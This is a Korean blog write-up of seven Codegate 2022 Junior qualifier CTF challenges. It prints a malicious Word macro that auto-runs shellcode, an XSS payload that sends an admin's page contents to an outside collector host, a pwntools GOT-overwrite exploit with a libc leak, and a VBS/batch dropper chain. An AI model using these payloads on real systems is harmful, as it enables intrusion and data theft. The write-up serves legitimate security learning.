CTF Writeup

Codegate 2022 Junior 예선 WriteUp

LittleDev0617 2022. 2. 27. 22:07

인생 첫 코게이자 마지막 학생부 코게 예선 결과는 9위

토요일 19시부터 일요일 19시까지 24시간인데, 토욜날 문제 분석하다가 냅다 자버렸다.

일욜 느긋하게 문제 맛이나 볼까 하다 생각보다 문제가 풀리니까 중후반부터는 열심히 했던 것 같다.

포너블 2문제 난이도가 그렇게 어렵지 않았는데 다른사람들 풀때 못풀었다.

consukey 풀고 malware 천점짜리 문제 도전하다 못풀었다.

훼이크에 제대로 걸려서 2시간이 날라가고 나머지 한시간 정적분석하다 끝내 못했다.

생각 외로 내가 성장한건지 문제 난이도가 전체적으로 나쁘지 않았던 것 같다. 

보통 이런 큰 대회면 손 못대는 문제가 꽤 많았는데, 이정도면 나쁘지 않다 생각한다.

본선에 가서 10위 안에 드는 걸 목표로 해봐야겠다.


1. maldoc

문서파일을 주는데, 확장자를 zip으로 바꾼 후 안에 vbaProject.bin을 OfficeMalScanner 프로그램을 이용해 까면 NewMacros 파일이 나온다.

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long

buf = Array(85, 137, 229, 129, 236, 0, 3, 0, 0, 49, 192, 49, 201, 232, 0, 0, 0, 0, 94, 131, 198, 13, 65, 128, 60, 14, 144, 117, 249, 65, 1, 206, 49, 201, 128, _
52, 14, 77, 65, 129, 249, 46, 2, 0, 0, 117, 243, 144, 124, 141, 196, 8, 193, 139, 8, 193, 34, 139, 8, 221, 54, 139, 8, 217, 61, 139, 8, 213, 38, 139, _
8, 209, 32, 139, 8, 237, 33, 139, 8, 233, 52, 139, 8, 229, 35, 139, 8, 225, 123, 139, 8, 253, 97, 139, 8, 249, 99, 139, 8, 245, 121, 139, 8, 241, 52, _
139, 8, 141, 123, 139, 8, 137, 41, 139, 8, 133, 61, 139, 8, 129, 40, 139, 8, 157, 22, 139, 8, 153, 122, 139, 8, 149, 34, 139, 8, 145, 25, 139, 8, 173, _
99, 139, 8, 169, 52, 139, 8, 165, 34, 139, 8, 161, 106, 139, 8, 189, 115, 139, 8, 185, 60, 139, 200, 41, 178, 178, 178, 65, 139, 200, 37, 178, 178, 178, _
88, 139, 200, 33, 178, 178, 178, 91, 139, 200, 61, 178, 178, 178, 64, 139, 200, 57, 178, 178, 178, 67, 139, 200, 53, 178, 178, 178, 69, 139, 200, 49, _
178, 178, 178, 70, 139, 8, 205, 65, 139, 200, 21, 178, 178, 178, 86, 139, 200, 1, 178, 178, 178, 77, 139, 200, 245, 179, 178, 178, 77, 166, 66, 198, _
200, 245, 179, 178, 178, 206, 141, 76, 196, 200, 245, 179, 178, 178, 198, 200, 245, 179, 178, 178, 118, 200, 21, 178, 178, 178, 48, 20, 198, 200, _
245, 179, 178, 178, 198, 192, 1, 178, 178, 178, 198, 25, 200, 193, 126, 217, 192, 41, 178, 178, 178, 198, 200, 245, 179, 178, 178, 104, 50, 77, 77, _
205, 52, 72, 5, 206, 133, 205, 13, 124, 143, 198, 192, 245, 179, 178, 178, 197, 217, 64, 137, 179, 178, 178, 198, 216, 1, 178, 178, 178, 206, 143, _
76, 196, 216, 1, 178, 178, 178, 205, 240, 1, 178, 178, 178, 74, 51, 74, 139, 200, 1, 178, 178, 178, 77, 166, 199, 124, 132, 186, 172, 41, 198, 12, _
125, 198, 13, 65, 198, 61, 89, 224, 219, 224, 198, 21, 93, 198, 30, 113, 76, 151, 198, 31, 53, 76, 151, 198, 63, 109, 76, 147, 124, 132, 12, 224, _
76, 149, 204, 117, 10, 40, 57, 29, 56, 185, 204, 53, 73, 63, 34, 46, 12, 56, 166, 204, 53, 69, 41, 41, 63, 40, 56, 175, 198, 63, 105, 76, 147, 43, _
198, 65, 3, 4, 198, 63, 81, 76, 147, 198, 89, 195, 76, 151, 196, 152, 124, 132, 28, 37, 44, 63, 52, 12, 37, 1, 36, 47, 63, 37, 1, 34, 44, 41, 25, 30, _
178, 159, 37, 33, 33, 44, 44, 43, 204, 33, 105, 79, 44, 44, 37, 126, 127, 99, 41, 37, 24, 62, 40, 63, 25, 178, 157, 37, 34, 53, 12, 44, 43, 206, 33, _
105, 78, 44, 37, 44, 42, 40, 15, 37, 0, 40, 62, 62, 25, 29, 178, 152, 206, 137, 93, 124, 159, 124, 132, 31, 37, 127, 125, 127, 127, 37, 10, 12, 25, _
8, 37, 14, 2, 9, 8, 196, 170, 31, 37, 43, 33, 44, 42, 37, 57, 37, 40, 109, 37, 43, 36, 35, 41, 37, 52, 34, 56, 109, 37, 41, 36, 41, 109, 196, 172, _
31, 26, 28, 31, 178, 157, 206, 137, 93, 37, 40, 62, 62, 44, 43, 206, 33, 105, 78, 44, 37, 29, 63, 34, 46, 37, 8, 53, 36, 57, 25, 30, 178, 152, 124, _
132, 28, 178, 157)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter

res = CreateThread(0, 0, addr, 0, 0, 0)

End Function

Sub Document_Open()
MyMacro
End Sub

Sub AutoOpen()
MyMacro
End Sub

위와 같고, 저 바이트들을 어셈으로 바꾼다.

0:  55                      push   rbp
1:  89 e5                   mov    ebp,esp
3:  81 ec 00 03 00 00       sub    esp,0x300
9:  31 c0                   xor    eax,eax
b:  31 c9                   xor    ecx,ecx
d:  e8 00 00 00 00          call   0x12
12: 5e                      pop    rsi
13: 83 c6 0d                add    esi,0xd
16: 41 80 3c 0e 90          cmp    BYTE PTR [r14+rcx*1],0x90
1b: 75 f9                   jne    0x16
1d: 41 01 ce                add    r14d,ecx
20: 31 c9                   xor    ecx,ecx
22: 80 34 0e 4d             xor    BYTE PTR [rsi+rcx*1],0x4d
26: 41 81 f9 2e 02 00 00    cmp    r9d,0x22e
2d: 75 f3                   jne    0x22
2f: 90                      nop
30: 7c 8d                   jl     0xffffffffffffffbf
32: c4                      (bad)
33: 08 c1                   or     cl,al
35: 8b 08                   mov    ecx,DWORD PTR [rax]
..

분석하면 0x90 이후로 0x22e 바이트만큼 0x4d와 xor 연산하는 것을 알 수 있다.

0:  31 c0                   xor    eax,eax
2:  89 45 8c                mov    DWORD PTR [rbp-0x74],eax
5:  c6 45 8c 6f             mov    BYTE PTR [rbp-0x74],0x6f
9:  c6 45 90 7b             mov    BYTE PTR [rbp-0x70],0x7b
d:  c6 45 94 70             mov    BYTE PTR [rbp-0x6c],0x70
11: c6 45 98 6b             mov    BYTE PTR [rbp-0x68],0x6b
15: c6 45 9c 6d             mov    BYTE PTR [rbp-0x64],0x6d
19: c6 45 a0 6c             mov    BYTE PTR [rbp-0x60],0x6c
1d: c6 45 a4 79             mov    BYTE PTR [rbp-0x5c],0x79
21: c6 45 a8 6e             mov    BYTE PTR [rbp-0x58],0x6e
25: c6 45 ac 36             mov    BYTE PTR [rbp-0x54],0x36
29: c6 45 b0 2c             mov    BYTE PTR [rbp-0x50],0x2c
2d: c6 45 b4 2e             mov    BYTE PTR [rbp-0x4c],0x2e
...
21d:    68 50 72 6f 63          push   0x636f7250
222:    68 45 78 69 74          push   0x74697845
227:    54                      push   rsp
228:    53                      push   rbx
229:    ff d5                   call   rbp
22b:    31 c9                   xor    ecx,ecx
22d:    51                      push   rcx
22e:    ff d0                   call   rax

xor 연산된 값도 어셈으로 보면 위와 같다.

이를 x64dbg를 통해 동적 분석하는데, sub esp 0x300과 ecx를 0x22e로 맞춰줘야 한다(처음 어셈).

 

그리고 스택을 0으로 채워놓지 않으면 곧바로 xor ecx, ecx 하고 삑나버리기 때문에 0으로 채워놓고 실행하다보면

스택에 플래그가 쓰여진다.

Flag : codegate2022{3asy_3qN3dt32}

 


2. ohmypage

위와 같이 Search / Report / MyPage 세 페이지가 있다.

mypage에선 쿠키에 있는 id 값을 출력해준다.

쿠키를 HttpOnly; 로 document.cookie를 쓸 수 없다.

Search 페이지에서는 XSS가 터진다. 이를 Report 해서 관리자의 cookie를 얻어야하는데,

document.cookie가 안되니 관리자의 mypage 내용을 나한테 보내게끔 하면 된다.

<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET','https://eo8cuwto56t0oi2.m.pipedream.net/'+btoa(xhr.responseText.split('flag')[1]));
xhr2.send();
}
xhr.open('GET','http://3.38.235.13:8881/mypage');
xhr.send();
</script>
http://3.38.235.13:8881/search?text=%3Cscript%3E%0Avar%20xhr%20%3D%20new%20XMLHttpRequest()%3B%0Axhr.onreadystatechange%20%3D%20function()%20%7B%0Avar%20xhr2%20%3D%20new%20XMLHttpRequest()%3B%0Axhr2.open(%27GET%27%2C%27https%3A%2F%2Feo8cuwto56t0oi2.m.pipedream.net%2F%27%2Bbtoa(xhr.responseText.split(%27flag%27)%5B1%5D))%3B%0Axhr2.send()%3B%0A%7D%0Axhr.open(%27GET%27%2C%27http%3A%2F%2F3.38.235.13%3A8881%2Fmypage%27)%3B%0Axhr.send()%3B%0A%3C%2Fscript%3E

나는 위와같이 base64 인코딩해서 보내게끔 했다.

저 인코딩된 주소를 Report에 넣어주면 된다.

 

Flag : codegate2022{C00k1EHTTP0N1YANDX55}

 


3. UDGame

UpDown 게임이다.

1000 을 가정으로 500 750 875 하니 대충 규칙이 보였다.

100000.. 을 2로 계속 나누고(홀수면 1 더하고 나눔) 나눈 값을 계속 더하거나 빼면 된다.

from pwn import *

#context.log_level = 'debug'
p = remote('52.79.50.189', 4321)
p.sendlineafter('>','y')
for j in range(100):
	s = int(1000000000000 / 2)
	tmp = s
	for i in range(300):	
		p.sendlineafter('guess : ',str(tmp))
		s = int(s/2) if s % 2 == 0 else int((s+1)/2)
		r = p.recvuntil('\n')
		if 'UP' in r:
			tmp  += s
		elif 'DOWN' in r:
			tmp -= s
		elif 'funny!' in r:
			log.info('[%d] %d' % (j,tmp))
			break
		elif 'Oh' in r:
			print(r)
			p.interactive()

p.interactive()

elif 'Oh' in r: 분기에서 print(r) 이 아닌 print(p.recv())를 하는데 왜 자꾸 플래그가 안뜨고

얘가 멈추는지 한참을 돌리다가 print(r)을 해야함을 좀 늦게 알아버렸다. 

Flag : codegate2022{61b71abc19aa0bd03ed319e98bf17fd4aaf72bf6915473c4353735f01a78f9199f4c30e51ce720ff3e510362c784a3aaae3d}


4. Gift

저 비싼 Flag를 사야한다.

포인트 샵에서 포인트를 불려야 하는데, random_point 는 랜덤으로 소량의 포인트를 주고,

up_down_point가 2배로 불려준다. 

업 다운을 맞춰야하는데, 이는 ctypes 로 라이브러리 불러와서 동시에 srand 하여 rand 값을 알아내면 된다.

from pwn import *
from ctypes import *

context.log_level = 'debug'

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./Gift')
p = remote('3.39.28.41', 8888)
point = 0

p.sendlineafter('?','a')

cmd = lambda x : p.sendlineafter('> ',str(x))

pointShop = lambda : cmd(3)
random = lambda : pointShop() and cmd(1)
buyUD = lambda : pointShop() and cmd(4) and cmd(2)

def updown():
	global point
	pointShop() and cmd(5)
	libc.srand(libc.time(0))
	a = libc.rand() % 0x32
	b = libc.rand() % 0x32
	log.info('%d %d' % (b,a))
	p.sendlineafter('> ', '%d %d' % (point, 1 if b > a else 2))
	p.recvuntil('!!') and p.recvuntil('point: ')
	point = int(p.recvuntil('\n'))

[random() for i in range(10)]
[updown() for i in range(5)]
[buyUD() for i in range(10)]
p.recvuntil('point: ')
point = int(p.recvuntil(',')[:-1])
[updown() for i in range(9)]

p.interactive()

random 을 10번 해서 돈을 어느정도 모은 다음, 업다운 게임을 여러번 하다보면 돈이 많아진다.

Flag : codegate2022{c305ee268650f554b10e21fd7aea52937223dd29aa4cc46d0a4af90290a0a35d1b093308302a5a5de63b870fa667f23d3ba7a57b0272ac65622ab9ae7dedcf03a14a4a}


5. lotto

6 * 5 총 30개의 숫자를 입력해야 한다.

9910 함수에 분기가 보인다. 이중 submit 안으로 가보면

위와 같은데, 첫번째 사진은 30개의 숫자를 받아오고, 두번째 사진은 6번의 검사를 한다고 유추할 수 있다.

첫번째 조건은 1~45 의 숫자만 가능함을 보여준다.

두번째부터 5개의 조건은 각 줄의 숫자들의 조건을 나타내는데, 이 조건들의 해를 z3 solver를 통해서 구한다.

from z3 import *

s = Solver()
x1 = IntVector('x1',6)

s.add(x1[1] + 2*x1[0] == 20)
s.add(x1[2] + 7*x1[0] - x1[1] == 35)
s.add(7*x1[1] - 2*x1[0] - x1[2]== 64)
s.add(3*x1[4] + x1[3] == 156)
s.add(x1[5] + 3*x1[3] - x1[5] * x1[4] == -1530)
s.add(x1[5] + x1[4] - x1[3] == 46)
s.check()
print(s.model())
s.reset()

x2 = IntVector('x2',6)
s.add(x2[2] + x2[1] + x2[0] == 23)
s.add(x2[2] + 2*x2[0] - x2[1] == 4)
s.add(3*x2[0] + x2[2] + 2*x2[1] == 35)
s.add(17*x2[4] + 7*x2[3] == 469)
s.add(3*x2[5] + 2*x2[3] - x2[4] == 143)
s.add(x2[4] + 3*x2[3] - x2[5] == 25)
s.add(-2*x2[3] + x2[5] + 3*x2[4] == 75)
s.check()
print(s.model())
s.reset()

x3 = IntVector('x3',6)
s.add(x3[1] + 2*x3[0] == 36)
s.add(x3[2] + x3[0] - x3[1] == 9)
s.add(x3[1] + x3[0] -x3[2] == 1)
s.add(x3[3] + 2*x3[4] == 100)
s.add(x3[5] + x3[4] + x3[3] == 103)
s.add(3*x3[4] + x3[3] - 2*x3[5] == 60)
s.check()
print(s.model())
s.reset()

x4 = IntVector('x4',6)
s.add(x4[1] + 31*x4[0] - x4[2] == 56)
s.add(2*x4[1] - x4[0] - x4[2] == 1)
s.add(5*x4[2] + 3*x4[1] + 7*x4[0] == 116)
s.add(x4[5] + x4[4] - x4[3] == 54)
s.add(x4[5] + x4[3] - x4[4] == 36)
s.add(x4[5] + x4[4] + x4[3] == 112)
s.check()
print(s.model())
s.reset()

x5 = IntVector('x5',6)
s.add(3*x5[2] + 3*x5[0] + 2*x5[1] == 140)
s.add(x5[2] + x5[1] - 2*x5[0] == 20)
s.add(x5[2] + 7*x5[0] -3*x5[1] == 43)
s.add(3*x5[5] + x5[3] + 2*x5[4] == 242)
s.add(7*x5[5] + 3*x5[4] -7*x5[3] == 207)
s.add(11*x5[4] + 3*x5[3] -11*x5[5] == 71)
s.check()
print(s.model())
s.reset()

이를 입력하면 플래그가 나온다.

Flag : codegate2022{WH3R3_1S_Y0UR_M0N3Y?}


6. Dino Diary

view_comment 함수에서 OOB가 터지고, modify_comment 에서도 check_index가 범위를 검사하지 않아 OOB가 터진다.

근데 이게 &com +n * 0x20 을 기준으로 leak, write 가능하기에 주소를 계산해주어야한다.

우선 n=-36일때  정확히 &puts got 0x603020 이된다. 이 위치에서 view 하면 근접 got를 leak 할 수 있다.

우선 comment number 는 puts got 의 하위 4바이트이고, comment 를 통해서 상위 libc 주소를 얻을 수 있다.

이를 통해 libc base를 구하고, 원샷을 구한뒤 modify oob를 통해 printf got를 원샷으로 바꿔준다.

from pwn import *

context.log_level = 'debug'
#p = process('./Dino_diary')
p = remote('52.78.171.46', 8080)
e = ELF('./Dino_diary')
#libc = e.libc
libc = ELF('./libc.so.6')
#gdb.attach(p,'b*view_comment')

cmd = lambda x: p.sendlineafter(': ',str(x))
write = lambda msg : cmd(1) and [cmd(x) for x in msg]
modify = lambda msg : cmd(2) and [cmd(x) for x in msg]
view = lambda i : cmd(3) and cmd(i)

write([0,'a','b'])
modify([0,'t'])
view(-36)

p.recvuntil('comment number: ')
p.recvuntil('comment number: ')
low4 = hex(int(p.recvuntil('\n')[:-1]) & 0xFFFFFFFF)[2:]

p.recvuntil('comment: ')
high2 = hex(u16(p.recv(4)[-2:]))

leak = int(high2+low4,16)
base = leak - libc.symbols['puts']
log.info('%x' % base)

p.recvuntil('memu')
#oneshot = base + 0x4f3c2 #local
oneshot = base + 0x4f432

modify([-36,'a'*6 + p64(oneshot)])

p.interactive()
p.close()

Flag :
codegate2022{54984ea1a2d1b988d5809e8792711becc2b8fe3e29503956fd2f8686343edc39fdf4bacd73eb7848841fc108f855464d35}


7. counsky

위와 같은 한글 파일을 준다.

원래 첫번째 사진을 누르면 appdata/local/temp/hancom.configuration.vbs 파일이 실행되는데,

이는 Users 경로에 한글 파일이 위치해있을때이다.

정상 경로를 따라 가보면

strPath = "."
Set fso = CreateObject("Scripting.FileSystemObject")
Set dir = fso.GetFolder(strPath)
fso.MoveFile "wct7E74.TMP", "wct7E74.TMP.bat"

Set WshShell = WScript.CreateObject("WScript.Shell")
wshShell.run chr(34) &"wct7E74.TMP.bat"& Chr(34) ,0
Set WshShell = nothing
WScript.Sleep 40
fso.MoveFile "wct7E74.TMP.bat", "wct7E74.TMP"

위 스크립트가 있고, Wct7E74.TMP를 보면 

@echo off
rename "~DF5FD47D38E1D99F21.TMP" "~DF5FD47D38E1D99F21.TMP.exe"
~DF5FD47D38E1D99F21.TMP.exe

~DF..F21.TMP 를 보면

exe 파일임을 알 수 있다.

밑으로 내려보면 python으로 만들어진 exe임을 알 수 있고 pyinstxtractor.py를 이용해 추출한다.

 

맨 앞 부분을 다른 pyc의 앞부분을 통해 수정 한뒤에, uncompyle6을 통해 디컴파일한다.

# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.7.5 (tags/v3.7.5:5c02a39a0b, Oct 15 2019, 00:11:34) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: ~DF5FD47D38E1D99F21.TMP.py
import os
from dataclasses import replace
flag = 'ggYaa2cc9aakZeeeWggdhccdGddUyM00DIddyefff1kaaw00VggXfffJxxFX0FfRzaa00BeeePZFaa9hxxbmExeXN0eeefQ'
flag = flag.replace('aa', '').replace('fff', '').replace('00', '').replace('gg', '').replace('cc', '').replace('dd', '').replace('eee', '').replace('xx', '')
file1 = os.path.join('./', '~DF5FD47D38E1D99F21.TMP.exe')
file2 = os.path.join('./', '~DF5FD47D38E1D99F2l.TMP')
os.rename(file1, file2)
# okay decompiling ~DF5FD47D38E1D99F21.pyc

Flag : codegate2022{Y0UrE_A_G0Od_ana1yst}

'CTF Writeup' 카테고리의 다른 글

2022 Codegate Junior Final  (1) 2022.11.08
2022 WACon CTF - babystack 2022 etc  (0) 2022.06.26
2021 Layer7 CTF 후기 / Writeup  (1) 2021.11.25
DAM CTF 2021 - Sneaky Script  (0) 2021.11.11
2021 Incognito CTF Writeup  (0) 2021.08.28